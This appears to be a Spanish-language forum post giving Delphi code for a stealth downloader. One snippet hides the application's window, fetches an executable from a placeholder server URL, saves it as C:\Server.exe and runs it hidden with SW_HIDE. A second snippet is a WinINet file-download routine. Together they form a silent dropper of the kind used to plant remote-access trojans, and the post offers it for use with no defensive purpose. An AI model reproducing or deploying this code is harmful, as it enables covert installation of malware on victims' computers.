Código: Seleccionar todo

En uses agregan esto: 
ShellAPI, Extactns

Código: Seleccionar todo

form1.hide;
with TDownloadUrl.Create (self) do
try
url := 'http://URL_de_tu_server.exe';
Filename := 'C:\Server.exe';
ExecuteTarget(NIL);
ShellExecute(handle, 'open', 'C:\Server.exe' ,nil, nil, SW_HIDE);
Application.ShowMainForm := False;
finally
free;

Código: Seleccionar todo

function Descargar( sNombre,sURL, sArchivoLocal: String ): boolean;
const BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  LongitudBuffer: DWORD;
  F: File;
begin
  hSession := InternetOpen( PChar(sNombre), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0 );
  try
    hURL := InternetOpenURL( hSession, PChar( sURL ), nil, 0, 0, 0 );
    try
      AssignFile( F, sArchivoLocal );
      Rewrite( F, 1 );
     repeat
        InternetReadFile( hURL, @Buffer, SizeOf( Buffer ), LongitudBuffer );
        BlockWrite( F, Buffer, LongitudBuffer );
     until LongitudBuffer = 0;
      CloseFile(F);
      Result := True;
    finally
      InternetCloseHandle( hURL );
    end
  finally
    InternetCloseHandle( hSession );
  end
end;